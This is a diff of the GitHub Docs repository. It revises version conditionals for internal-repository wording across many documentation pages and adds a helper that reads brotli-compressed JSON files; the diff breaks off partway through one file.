-If {% data variables.product.product_location %} is not in private mode or behind a firewall, public repositories are accessible to everyone on the internet. Otherwise, public repositories are available to everyone using {% data variables.product.product_location %}, including outside collaborators. Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members. {% ifversion ghes %} Internal repositories are accessible to enterprise members. For more information, see "[About internal repositories](#about-internal-repositories)."{% endif %} {% elsif ghae %} -Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members. Internal repositories are accessible to all enterprise members. For more information, see "[About internal repositories](#about-internal-repositories)." -{% else %} -Public repositories are accessible to everyone on the internet. Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members. Internal repositories are accessible to enterprise members. For more information, see "[About internal repositories](#about-internal-repositories)." + +When you create a repository owned by your user account, the repository is always private. When you create a repository owned by an organization, you can choose to make the repository private or internal. + {% endif %} +{%- ifversion fpt or ghec %} +- Public repositories are accessible to everyone on the internet. +- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members. +{%- elsif ghes %} +- If {% data variables.product.product_location %} is not in private mode or behind a firewall, public repositories are accessible to everyone on the internet. Otherwise, public repositories are available to everyone using {% data variables.product.product_location %}, including outside collaborators. +- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members. Internal repositories are accessible to all enterprise members. +{%- elsif ghae %} +- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members. +{%- endif %} +{%- ifversion ghec or ghes or ghae %} +- Internal repositories are accessible to all enterprise members. For more information, see "[About internal repositories](#about-internal-repositories)." +{%- endif %} + Organization owners always have access to every repository created in an organization. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." People with admin permissions for a repository can change an existing repository's visibility. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)." -{% ifversion fpt or ghae or ghes or ghec %} +{% ifversion ghes or ghec or ghae %} ## About internal repositories -{% note %} - -**Note:** {% data reusables.gated-features.internal-repos %} - -{% endnote %} - {% data reusables.repositories.about-internal-repos %} For more information on innersource, see {% data variables.product.prodname_dotcom %}'s whitepaper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)." All enterprise members have read permissions to the internal repository, but internal repositories are not visible to people {% ifversion fpt or ghec %}outside of the enterprise{% else %}who are not members of any organization{% endif %}, including outside collaborators on organization repositories. For more information, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/roles-in-an-enterprise#enterprise-members)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." diff --git a/content/repositories/creating-and-managing-repositories/deleting-a-repository.md b/content/repositories/creating-and-managing-repositories/deleting-a-repository.md index 647cf7c955..5fb2fd7aea 100644 --- a/content/repositories/creating-and-managing-repositories/deleting-a-repository.md +++ b/content/repositories/creating-and-managing-repositories/deleting-a-repository.md @@ -24,8 +24,8 @@ topics: **Warnings**: - Deleting a repository will **permanently** delete release attachments and team permissions. This action **cannot** be undone. -- Deleting a private or internal repository will delete all forks of the repository. - +- Deleting a private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository will delete all forks of the repository. + {% endwarning %} Some deleted repositories can be restored within 90 days of deletion. {% ifversion ghes or ghae %}Your site administrator may be able to restore a deleted repository for you. For more information, see "[Restoring a deleted repository](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)." {% else %}For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %} diff --git a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md b/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md index b61e5c58c7..2aa2f07f4f 100644 --- a/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md +++ b/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md @@ -27,7 +27,7 @@ To browse the most used topics, go to https://github.com/topics/. Repository admins can add any topics they'd like to a repository. Helpful topics to classify a repository include the repository's intended purpose, subject area, community, or language.{% ifversion fpt or ghec %} Additionally, {% data variables.product.product_name %} analyzes public repository content and generates suggested topics that repository admins can accept or reject. Private repository content is not analyzed and does not receive topic suggestions.{% endif %} -{% ifversion ghae %}Internal {% else %}Public, internal, {% endif %}and private repositories can have topics, although you will only see private repositories that you have access to in topic search results. +{% ifversion fpt %}Public and private{% elsif ghec or ghes %}Public, private, and internal{% elsif ghae %}Private and internal{% endif %} repositories can have topics, although you will only see private repositories that you have access to in topic search results. You can search for repositories that are associated with a particular topic. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories#search-by-topic)." You can also search for a list of topics on {% data variables.product.product_name %}. For more information, see "[Searching topics](/search-github/searching-on-github/searching-topics)." diff --git a/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md b/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md index d934c5086a..cb0ef50a07 100644 --- a/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md +++ b/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md @@ -109,15 +109,9 @@ The default permissions can also be configured in the organization settings. If 1. Click **Save** to apply the settings. {% endif %} -{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} +{% ifversion ghes > 3.3 or ghae-issue-4757 or ghec %} ## Allowing access to components in an internal repository -{% note %} - -**Note:** {% data reusables.gated-features.internal-repos %} - -{% endnote %} - Members of your enterprise can use internal repositories to work on projects without sharing information publicly. For information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-internal-repositories)." To configure whether workflows in an internal repository can be accessed from outside the repository: diff --git a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md b/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md index cc124d180d..b5692be81c 100644 --- a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md +++ b/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md @@ -1,6 +1,6 @@ --- title: Managing the forking policy for your repository -intro: 'You can allow or prevent the forking of a specific private{% ifversion fpt or ghae or ghes or ghec %} or internal{% endif %} repository owned by an organization.' +intro: 'You can allow or prevent the forking of a specific private{% ifversion ghae or ghes or ghec %} or internal{% endif %} repository owned by an organization.' redirect_from: - /articles/allowing-people-to-fork-a-private-repository-owned-by-your-organization - /github/administering-a-repository/allowing-people-to-fork-a-private-repository-owned-by-your-organization @@ -16,9 +16,7 @@ topics: - Repositories shortTitle: Manage the forking policy --- -An organization owner must allow forks of private{% ifversion fpt or ghae or ghes or ghec %} and internal{% endif %} repositories on the organization level before you can allow or disallow forks for a specific repository. For more information, see "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)." - -{% data reusables.organizations.internal-repos-enterprise %} +An organization owner must allow forks of private{% ifversion ghae or ghes or ghec %} and internal{% endif %} repositories on the organization level before you can allow or disallow forks for a specific repository. For more information, see "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} diff --git a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md b/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md index d9b908a097..1841cf3ab9 100644 --- a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md +++ b/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md @@ -21,9 +21,9 @@ shortTitle: Repository visibility Organization owners can restrict the ability to change repository visibility to organization owners only. For more information, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)." -{% ifversion fpt or ghec %} +{% ifversion ghec %} -If you're a member of an {% data variables.product.prodname_emu_enterprise %}, your repositories owned by your user account can only be private, and repositories in your enterprise's organizations can only be private or internal. +Members of an {% data variables.product.prodname_emu_enterprise %} can only set the visibility of repositories owned by their user account to private, and repositories in their enterprise's organizations can only be private or internal. For more information, see "[About {% data variables.product.prodname_emus %}](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)." {% endif %} @@ -46,22 +46,27 @@ We recommend reviewing the following caveats before you change the visibility of ### Making a repository private {% ifversion fpt or ghes or ghec %} * {% data variables.product.product_name %} will detach public forks of the public repository and put them into a new network. Public forks are not made private.{% endif %} -* If you change a repository's visibility from internal to private, {% data variables.product.prodname_dotcom %} will remove forks that belong to any user without access to the newly private repository. {% ifversion fpt or ghes or ghec %}The visibility of any forks will also change to private.{% elsif ghae %}If the internal repository has any forks, the visibility of the forks is already private.{% endif %} For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)"{% ifversion fpt %} -* If you're using {% data variables.product.prodname_free_user %} for user accounts or organizations, some features won't be available in the repository after you change the visibility to private. Any published {% data variables.product.prodname_pages %} site will be automatically unpublished. If you added a custom domain to the {% data variables.product.prodname_pages %} site, you should remove or update your DNS records before making the repository private, to avoid the risk of a domain takeover. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products) and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."{% endif %}{% ifversion fpt or ghec %} -* {% data variables.product.prodname_dotcom %} will no longer include the repository in the {% data variables.product.prodname_archive %}. For more information, see "[About archiving content and data on {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)." -* {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %}, will stop working unless the repository is owned by an organization that is part of an enterprise with a license for {% data variables.product.prodname_advanced_security %} and sufficient spare seats. {% data reusables.advanced-security.more-info-ghas %}{% endif %}{% ifversion ghes %} -* Anonymous Git read access is no longer available. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)."{% endif %} +{%- ifversion ghes or ghec or ghae %} +* If you change a repository's visibility from internal to private, {% data variables.product.prodname_dotcom %} will remove forks that belong to any user without access to the newly private repository. {% ifversion fpt or ghes or ghec %}The visibility of any forks will also change to private.{% elsif ghae %}If the internal repository has any forks, the visibility of the forks is already private.{% endif %} For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)" +{%- endif %} -{% ifversion fpt or ghae or ghes or ghec %} +{%- ifversion fpt %} +* If you're using {% data variables.product.prodname_free_user %} for user accounts or organizations, some features won't be available in the repository after you change the visibility to private. Any published {% data variables.product.prodname_pages %} site will be automatically unpublished. If you added a custom domain to the {% data variables.product.prodname_pages %} site, you should remove or update your DNS records before making the repository private, to avoid the risk of a domain takeover. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products) and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)." +{%- endif %} + +{%- ifversion fpt or ghec %} +* {% data variables.product.prodname_dotcom %} will no longer include the repository in the {% data variables.product.prodname_archive %}. For more information, see "[About archiving content and data on {% data variables.product.prodname_dotcom %}](/github/creating-cloning-and-archiving-repositories/about-archiving-content-and-data-on-github#about-the-github-archive-program)." +* {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %}, will stop working unless the repository is owned by an organization that is part of an enterprise with a license for {% data variables.product.prodname_advanced_security %} and sufficient spare seats. {% data reusables.advanced-security.more-info-ghas %} +{%- endif %} + +{%- ifversion ghes %} +* Anonymous Git read access is no longer available. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)." +{%- endif %} + +{% ifversion ghes or ghec or ghae %} ### Making a repository internal -{% note %} - -**Note:** {% data reusables.gated-features.internal-repos %} - -{% endnote %} - * Any forks of the repository will remain in the repository network, and {% data variables.product.product_name %} maintains the relationship between the root repository and the fork. For more information, see "[What happens to forks when a repository is deleted or changes visibility?](/articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility)" {% endif %} diff --git a/content/rest/guides/discovering-resources-for-a-user.md b/content/rest/guides/discovering-resources-for-a-user.md index 6d3fbcd115..74f1211882 100644 --- a/content/rest/guides/discovering-resources-for-a-user.md +++ b/content/rest/guides/discovering-resources-for-a-user.md @@ -14,7 +14,7 @@ topics: shortTitle: Discover resources for a user --- - + When making authenticated requests to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, applications often need to fetch the current user's repositories and organizations. In this guide, we'll explain how to reliably discover those resources. @@ -26,7 +26,7 @@ If you haven't already, you should read the ["Basics of Authentication"][basics- ## Discover the repositories that your app can access for a user -In addition to having their own personal repositories, a user may be a collaborator on repositories owned by other users and organizations. Collectively, these are the repositories where the user has privileged access: either it's a private repository where the user has read or write access, or it's a {% ifversion not ghae %}public{% else %}internal{% endif %} repository where the user has write access. +In addition to having their own personal repositories, a user may be a collaborator on repositories owned by other users and organizations. Collectively, these are the repositories where the user has privileged access: either it's a private repository where the user has read or write access, or it's {% ifversion fpt %}a public{% elsif ghec or ghes %}a public or internal{% elsif ghae %}an internal{% endif %} repository where the user has write access. [OAuth scopes][scopes] and [organization application policies][oap] determine which of those repositories your app can access for a user. Use the workflow below to discover those repositories. diff --git a/content/rest/guides/getting-started-with-the-rest-api.md b/content/rest/guides/getting-started-with-the-rest-api.md index de2aaec937..74ab5b1968 100644 --- a/content/rest/guides/getting-started-with-the-rest-api.md +++ b/content/rest/guides/getting-started-with-the-rest-api.md @@ -65,7 +65,7 @@ Mmmmm, tastes like [JSON][json]. Let's add the `-i` flag to include headers: ```shell $ curl -i https://api.github.com/users/defunkt -> HTTP/2 200 +> HTTP/2 200 > server: GitHub.com > date: Thu, 08 Jul 2021 07:04:08 GMT > content-type: application/json; charset=utf-8 @@ -248,9 +248,10 @@ $ curl -i {% data variables.product.api_url_pre %}/orgs/octo-org/repos The information returned from these calls will depend on which scopes our token has when we authenticate: -{% ifversion not ghae %} -* A token with `public_repo` [scope][scopes] returns a response that includes all public repositories we have access to see on github.com.{% endif %} -* A token with `repo` [scope][scopes] returns a response that includes all {% ifversion not ghae %}public{% else %}internal{% endif %} and private repositories we have access to see on {% data variables.product.product_location %}. +{%- ifversion fpt or ghec or ghes %} +* A token with `public_repo` [scope][scopes] returns a response that includes all public repositories we have access to see on {% data variables.product.product_location %}. +{%- endif %} +* A token with `repo` [scope][scopes] returns a response that includes all {% ifversion fpt %}public or private{% elsif ghec or ghes %}public, private, or internal{% elsif ghae %}private or internal{% endif %} repositories we have access to see on {% data variables.product.product_location %}. As the [docs][repos-api] indicate, these methods take a `type` parameter that can filter the repositories returned based on what type of access the user has diff --git a/content/search-github/searching-on-github/searching-commits.md b/content/search-github/searching-on-github/searching-commits.md index 784d1b9e9d..e7f31a7604 100644 --- a/content/search-github/searching-on-github/searching-commits.md +++ b/content/search-github/searching-on-github/searching-commits.md @@ -105,9 +105,15 @@ To search commits in all repositories owned by a certain user or organization, u The `is` qualifier matches commits from repositories with the specified visibility. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)." | Qualifier | Example -| ------------- | ------------- |{% ifversion fpt or ghes or ghec %} -| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Commits) matches commits to public repositories.{% endif %} +| ------------- | ------------- | +{%- ifversion fpt or ghes or ghec %} +| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Commits) matches commits to public repositories. +{%- endif %} + +{%- ifversion ghes or ghec or ghae %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Commits) matches commits to internal repositories. +{%- endif %} + | `is:private` | [**is:private**](https://github.com/search?q=is%3Aprivate&type=Commits) matches commits to private repositories. ## Further reading diff --git a/content/search-github/searching-on-github/searching-discussions.md b/content/search-github/searching-on-github/searching-discussions.md index 08da0e4d71..dfd0e87b86 100644 --- a/content/search-github/searching-on-github/searching-discussions.md +++ b/content/search-github/searching-on-github/searching-discussions.md @@ -43,8 +43,8 @@ You can filter by the visibility of the repository containing the discussions us | Qualifier | Example | :- | :- |{% ifversion fpt or ghes or ghec %} -| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Discussions) matches discussions in public repositories.{% endif %} -| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Discussions) matches discussions in internal repositories. +| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Discussions) matches discussions in public repositories.{% endif %}{% ifversion ghec %} +| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Discussions) matches discussions in internal repositories.{% endif %} | `is:private` | [**is:private tiramisu**](https://github.com/search?q=is%3Aprivate+tiramisu&type=Discussions) matches discussions that contain the word "tiramisu" in private repositories you can access. ## Search by author diff --git a/content/search-github/searching-on-github/searching-for-repositories.md b/content/search-github/searching-on-github/searching-for-repositories.md index a6f39f23e0..d0f25c2d0c 100644 --- a/content/search-github/searching-on-github/searching-for-repositories.md +++ b/content/search-github/searching-on-github/searching-for-repositories.md @@ -149,8 +149,8 @@ You can filter your search based on the visibility of the repositories. For more | Qualifier | Example | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} -| `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) matches public repositories owned by {% data variables.product.company_short %}.{% endif %} -| `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) matches internal repositories that you can access and contain the word "test". +| `is:public` | [**is:public org:github**](https://github.com/search?q=is%3Apublic+org%3Agithub&type=Repositories) matches public repositories owned by {% data variables.product.company_short %}.{% endif %}{% ifversion ghes or ghec or ghae %} +| `is:internal` | [**is:internal test**](https://github.com/search?q=is%3Ainternal+test&type=Repositories) matches internal repositories that you can access and contain the word "test".{% endif %} | `is:private` | [**is:private pages**](https://github.com/search?q=is%3Aprivate+pages&type=Repositories) matches private repositories that you can access and contain the word "pages." {% ifversion fpt or ghec %} diff --git a/content/search-github/searching-on-github/searching-issues-and-pull-requests.md b/content/search-github/searching-on-github/searching-issues-and-pull-requests.md index 2e726d5f01..53bb4c70c6 100644 --- a/content/search-github/searching-on-github/searching-issues-and-pull-requests.md +++ b/content/search-github/searching-on-github/searching-issues-and-pull-requests.md @@ -80,7 +80,7 @@ You can filter by the visibility of the repository containing the issues and pul | Qualifier | Example | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} -| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Issues) matches issues and pull requests in public repositories.{% endif %}{% ifversion fpt or ghes or ghae or ghec %} +| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Issues) matches issues and pull requests in public repositories.{% endif %}{% ifversion ghes or ghec or ghae %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Issues) matches issues and pull requests in internal repositories.{% endif %} | `is:private` | [**is:private cupcake**](https://github.com/search?q=is%3Aprivate+cupcake&type=Issues) matches issues and pull requests that contain the word "cupcake" in private repositories you can access. diff --git a/data/release-notes/enterprise-server/3-3/0-rc1.yml b/data/release-notes/enterprise-server/3-3/0-rc1.yml index 2b4ca6f83e..5e7c8d91cd 100644 --- a/data/release-notes/enterprise-server/3-3/0-rc1.yml +++ b/data/release-notes/enterprise-server/3-3/0-rc1.yml @@ -168,6 +168,11 @@ sections: # https://github.com/github/releases/issues/1588 - Performance improvements have been made to {% data variables.product.prodname_actions %}, which may result in higher maximum job concurrency. + - heading: 'GitHub Packages changes' + notes: + # https://github.com/github/docs-content/issues/5554 + - When a repository is deleted, any associated package files are now immediately deleted from your {% data variables.product.prodname_registry %} external storage. + - heading: 'Dependabot and Dependency graph changes' notes: # https://github.com/github/releases/issues/1141 diff --git a/data/reusables/actions/about-actions.md b/data/reusables/actions/about-actions.md index 04b25d13f2..995119f59d 100644 --- a/data/reusables/actions/about-actions.md +++ b/data/reusables/actions/about-actions.md @@ -1 +1 @@ -{% data variables.product.prodname_actions %} helps you automate tasks within your software development life cycle. +{% data variables.product.prodname_actions %} is a continuous integration and continuous delivery (CI/CD) platform that allows you to automate your build, test, and deployment pipeline. diff --git a/data/reusables/actions/about-artifact-log-retention.md b/data/reusables/actions/about-artifact-log-retention.md index 906edec21e..6f73937277 100644 --- a/data/reusables/actions/about-artifact-log-retention.md +++ b/data/reusables/actions/about-artifact-log-retention.md @@ -1,6 +1,9 @@ By default, the artifacts and log files generated by workflows are retained for 90 days before they are automatically deleted. You can adjust the retention period, depending on the type of repository: +{%- ifversion fpt or ghec or ghes %} - For public repositories: you can change this retention period to anywhere between 1 day or 90 days. -- For private, internal, and {% data variables.product.prodname_ghe_server %} repositories: you can change this retention period to anywhere between 1 day or 400 days. +{%- endif %} + +- For private{% ifversion ghec or ghes or ghae %} and internal{% endif %} repositories: you can change this retention period to anywhere between 1 day or 400 days. When you customize the retention period, it only applies to new artifacts and log files, and does not retroactively apply to existing objects. For managed repositories and organizations, the maximum retention period cannot exceed the limit set by the managing organization or enterprise. diff --git a/data/reusables/actions/about-runners.md b/data/reusables/actions/about-runners.md index c39fcf6ebb..0b661b9ecf 100644 --- a/data/reusables/actions/about-runners.md +++ b/data/reusables/actions/about-runners.md @@ -1 +1 @@ -A runner is a server that has the [{% data variables.product.prodname_actions %} runner application](https://github.com/actions/runner) installed. You can use a runner hosted by {% data variables.product.prodname_dotcom %}, or you can host your own. \ No newline at end of file +A runner is a server that runs your workflows when they're triggered. diff --git a/data/reusables/github-actions/enabled-actions-description.md b/data/reusables/github-actions/enabled-actions-description.md index 3e8b54c012..3f5092e9ca 100644 --- a/data/reusables/github-actions/enabled-actions-description.md +++ b/data/reusables/github-actions/enabled-actions-description.md @@ -1 +1 @@ -When you enable {% data variables.product.prodname_actions %}, workflows are able to run actions located within your repository and any other public repository. +When you enable {% data variables.product.prodname_actions %}, workflows are able to run actions located within your repository and any other{% ifversion fpt %} public{% elsif ghec or ghes %} public or internal{% elsif ghae %} internal{% endif %} repository. diff --git a/data/reusables/github-actions/private-repository-forks-overview.md b/data/reusables/github-actions/private-repository-forks-overview.md index b7fc22330a..503ecc0273 100644 --- a/data/reusables/github-actions/private-repository-forks-overview.md +++ b/data/reusables/github-actions/private-repository-forks-overview.md @@ -1,4 +1,4 @@ -If you rely on using forks of your private repositories, you can configure policies that control how users can run workflows on `pull_request` events. Available to private and internal repositories only, you can configure these policy settings for enterprises, organizations, or repositories. For enterprises, the policies are applied to all repositories in all organizations. +If you rely on using forks of your private repositories, you can configure policies that control how users can run workflows on `pull_request` events. Available to private {% ifversion ghec or ghes or ghae %}and internal{% endif %} repositories only, you can configure these policy settings for {% ifversion ghec %}enterprises, {% elsif ghes or ghae %}your enterprise, {% endif %}organizations, or repositories.{% ifversion ghec or ghes or ghae %} For enterprises, the policies are applied to all repositories in all organizations.{% endif %} - **Run workflows from fork pull requests** - Allows users to run workflows from fork pull requests, using a `GITHUB_TOKEN` with read-only permission, and with no access to secrets. - **Send write tokens to workflows from pull requests** - Allows pull requests from forks to use a `GITHUB_TOKEN` with write permission. diff --git a/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md b/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md index 290affbc48..43fe7d3734 100644 --- a/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md +++ b/data/reusables/repositories/deleted_forks_from_private_repositories_warning.md @@ -6,6 +6,6 @@ - When [LDAP Sync is enabled](/enterprise/admin/authentication/using-ldap#enabling-ldap-sync), if you remove a person from a repository, they will lose access but their forks will not be deleted. If the person is added to a team with access to the original organization repository within three months, their access to the forks will be automatically restored on the next sync.{% endif %} - You are responsible for ensuring that people who have lost access to a repository delete any confidential information or intellectual property. -- People with admin permissions to a private{% ifversion fpt or ghes or ghae or ghec %} or internal{% endif %} repository can disallow forking of that repository, and organization owners can disallow forking of any private{% ifversion fpt or ghes or ghae or ghec %} or internal{% endif %} repository in an organization. For more information, see "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)" and "[Managing the forking policy for your repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)." +- People with admin permissions to a private{% ifversion ghes or ghae or ghec %} or internal{% endif %} repository can disallow forking of that repository, and organization owners can disallow forking of any private{% ifversion ghes or ghae or ghec %} or internal{% endif %} repository in an organization. For more information, see "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)" and "[Managing the forking policy for your repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)." {% endwarning %} diff --git a/data/reusables/support/submit-a-ticket.md b/data/reusables/support/submit-a-ticket.md index 9454c3a214..3b6743c1c3 100644 --- a/data/reusables/support/submit-a-ticket.md +++ b/data/reusables/support/submit-a-ticket.md @@ -12,6 +12,10 @@ - Choose **{% data variables.product.support_ticket_priority_high %}** to report issues impacting business operations, including {% ifversion fpt or ghec %}removing sensitive data (commits, issues, pull requests, uploaded attachments) from your own accounts and organization restorations{% else %}system performance issues{% endif %}, or to report critical bugs. - Choose **{% data variables.product.support_ticket_priority_normal %}** to {% ifversion fpt or ghec %}request account recovery or spam unflagging, report user login issues{% else %}make technical requests like configuration changes and third-party integrations{% endif %}, and to report non-critical bugs. - Choose **{% data variables.product.support_ticket_priority_low %}** to ask general questions and submit requests for new features, purchases, training, or health checks. +{%- ifversion ghes or ghec %} +1. Optionally, if your account includes {% data variables.contact.premium_support %} and your ticket is {% ifversion ghes %}urgent or high{% elsif ghec %}high{% endif %} priority, you can request a callback. Select **Request a callback from GitHub Support**, select the country code drop-down menu to choose your country, and enter your phone number. +![Request callback option](/assets/images/help/support/request-callback.png) +{%- endif %} 1. Under "Subject", type a descriptive title for the issue you're having. ![Subject field](/assets/images/help/support/subject-field.png) 5. Under "How can we help", provide any additional information that will help the Support team troubleshoot the problem. Helpful information may include: diff --git a/lib/get-mini-toc-items.js b/lib/get-mini-toc-items.js index c953f16f40..00b830bdef 100644 --- a/lib/get-mini-toc-items.js +++ b/lib/get-mini-toc-items.js @@ -38,7 +38,7 @@ export default function getMiniTocItems(html, maxHeadingLevel = 2, headingScope // remove any tags but leave content $('strong', item).map((i, el) => $(el).replaceWith($(el).contents())) - const contents = `${$(item).html()}` + const contents = `${$(item).html()}` const headingLevel = parseInt($(item)[0].name.match(/\d+/)[0], 10) || 0 // the `2` from `h2` const platform = $(item).parent('.extended-markdown').attr('class') || '' diff --git a/lib/page.js b/lib/page.js index a5249db0f9..1b822831a9 100644 --- a/lib/page.js +++ b/lib/page.js @@ -37,11 +37,7 @@ class Page { // Per https://nodejs.org/api/fs.html#fs_fs_exists_path_callback // its better to read and handle errors than to check access/stats first try { - const { - data, - content, - errors: frontmatterErrors, - } = await readFileContents(fullPath, opts.languageCode) + const { data, content, errors: frontmatterErrors } = await readFileContents(fullPath) return { ...opts, diff --git a/lib/read-file-contents.js b/lib/read-file-contents.js index fd5e579006..7a82fdf915 100644 --- a/lib/read-file-contents.js +++ b/lib/read-file-contents.js @@ -5,15 +5,10 @@ import fm from './frontmatter.js' /** * Read only the frontmatter from file */ -export default async function fmfromf(filepath, languageCode) { +export default async function fmfromf(filepath) { let fileContent = await readFileAsync(filepath, 'utf8') fileContent = encodeBracketedParentheses(fileContent) - // TODO remove this when crowdin-support issue 66 has been resolved - if (languageCode !== 'en' && fileContent.includes(': verdadero')) { - fileContent = fileContent.replace(': verdadero', ': true') - } - return fm(fileContent, { filepath }) } diff --git a/lib/read-json-file.js b/lib/read-json-file.js index b4fca9bf4c..c631789f32 100644 --- a/lib/read-json-file.js +++ b/lib/read-json-file.js @@ -1,6 +1,32 @@ import fs from 'fs' -import path from 'path' +import { brotliDecompressSync } from 'zlib' export default function readJsonFile(xpath) { - return JSON.parse(fs.readFileSync(path.join(process.cwd(), xpath), 'utf8')) + return JSON.parse(fs.readFileSync(xpath, 'utf8')) +} + +export function readCompressedJsonFile(xpath) { + if (!xpath.endsWith('.br')) { + xpath += '.br' + } + return JSON.parse(brotliDecompressSync(fs.readFileSync(xpath))) +} + +// Ask it to read a `foo.json` file and it will automatically +// first see if there's a `foo.json.br` and only if it's not, +// will fallback to reading the `foo.json` file. +// The reason for this is that staging builds needs to as small as +// possible (in terms of disk) for them to deploy faster. So the +// staging deployment process will compress a bunch of large +// `.json` files before packaging it up. +export function readCompressedJsonFileFallback(xpath) { + try { + return readCompressedJsonFile(xpath) + } catch (err) { + if (err.code === 'ENOENT') { + return readJsonFile(xpath) + } else { + throw err + } + } } diff --git a/lib/redirects/precompile.js b/lib/redirects/precompile.js index a7bd92871a..f10922d38d 100755 --- a/lib/redirects/precompile.js +++ b/lib/redirects/precompile.js @@ -4,7 +4,7 @@ import path from 'path' import { isPromise } from 'util/types' import { fileURLToPath } from 'url' -import readJsonFile from '../read-json-file.js' +import { readCompressedJsonFileFallback } from '../read-json-file.js' import { latest } from '../../lib/enterprise-server-releases.js' import getExceptionRedirects from './exception-redirects.js' import { languageKeys } from '../languages.js' @@ -45,7 +45,7 @@ const 